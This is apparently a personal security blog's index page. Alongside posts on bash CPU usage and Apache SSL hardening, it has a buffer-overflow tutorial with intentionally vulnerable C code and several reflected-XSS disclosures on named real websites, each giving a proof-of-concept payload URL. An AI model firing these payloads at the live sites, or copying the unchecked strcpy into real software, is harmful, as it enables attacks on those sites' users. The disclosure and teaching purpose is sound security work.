How to get overall CPU utilization from the bash command line (Linux)
For a little project I worked on I needed to get the CPU utilization as a percentage. I Google’d the issue and searched for “cpu utilization bash“. To my surprise there were no elegant solutions. Most just failed to work (on my machine anyway) while others were very inaccurate. For example, some would show the same number…read more.
How to get an A+ on Qualy’s SSL Labs Server Test (Apache)
The SSL Server Test by Qualy’s SSL Labs is an easy way to determine how secure your SSL set up actually is. You can run the test at: https://www.ssllabs.com/ssltest/ This is the score for this domain/server: How to get an A+ score on an Apache HTTP server The default Apache configuration for websites running HTTPs leaves your…read more.
Simple Buffer Overflow Example
I’m posting this example because the current buffer overflow examples on the web are not that good. This is a step by step guide to how to exploit a program that is vulnerable to a buffer overflow attack. The Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
#include <stdio.h> #include <string.h> #include <stdlib.h> int main ( int argc , const char * argv[]) { if (argc != 2) { printf ("Usage: %s <text>" , argv[0]); exit (1); } char buf[1024]; strcpy (buf , argv[1]); printf ("You wrote:n%sn" , buf); return 0; } |
This is the vulnerable code that we will be attacking. In this case, the…read more.
Finland MSN XSS Vulnerability
The search bar on this page fails to encode the quotes (“) and as a result a onMouseOver event tag can be attached to the search bar which allows an XSS attack to occur. Code:
1 2 3 4 5 |
http://ideakeittio.fi.msn.com/ruokaohjehaku/ ?q=" onMouseOver=alert(/XSS/) " &mealtypes=suolaiset &mealtypes=leivonta-2 &main_ingredient=1 |
CSE.UNSW.EDU.AU XSS Vulnerability
The staff search page does not sanitise the input of the ID field allowing an XSS attack to be executed. Code:
1 2 |
http://www.cse.unsw.edu.au/db/staff/staff.php ?ID="><script>prompt(42)</script> |
Mashable XSS Vulnerability
The Mashable subscription script fails to sanitise the email field and prints the invalid email on an error page. Code:
1 2 3 |
http://mashable.com/follow/subscriptions/ ?email="><script>alert(1)</script> &fingerprint=be0c8a1f226d1d986340c66ca8d701fffbd1f644 |
ABC Mail XSS Vulnerability
The ABC Mail subscription script fails to sanitise the email field or check that a valid email was provided. An attack can easily be executed as the unsanitized “invalid email” is printed on the produced error page. Code:
1 2 3 |
http://abcmail.net.au/subscribe/subscribe.tml? email=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E &list=abc-tv-countdown-to-3 |
Backlinks.com XSS Vulnerability
The help document search form on Backlinks.com does not correctly sanitise user input allowing an XSS attack to be executed. The follow symbols are converted to to their URL encoded counterparts: ‘<‘, ‘>‘, ‘/‘ Evasion string used (before encoding): /><script>alert(/XSS/)</script>
1 2 3 |
http://www.backlinks.com/kb/index.php/search ?search=1 &searchtext=%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E |
NineMSN Flights XSS Vulnerability
After browsing around on the NineMSN website for a little while (for about 10 minutes) I found a XSS vulnerability on a very common page. The NineMSN flights page is located here: http://flights.ninemsn.com.au/ The page did not sanitise input from the depart and return input. The form was expecting a date but any string could…read more.
iiNet.net.au XSS Vulnerabilities
iiNet, a major ISP in Australia seems to be a little less secure than they claim they are. After merely searching for XSS vulnerabilities on their website for 5 minutes, I had found these two vulnerabilities. Two non-persistent vulnerabilities, one surprisingly located in iiNet’s main search page. Here is the main search page vulnerability: Code:…read more.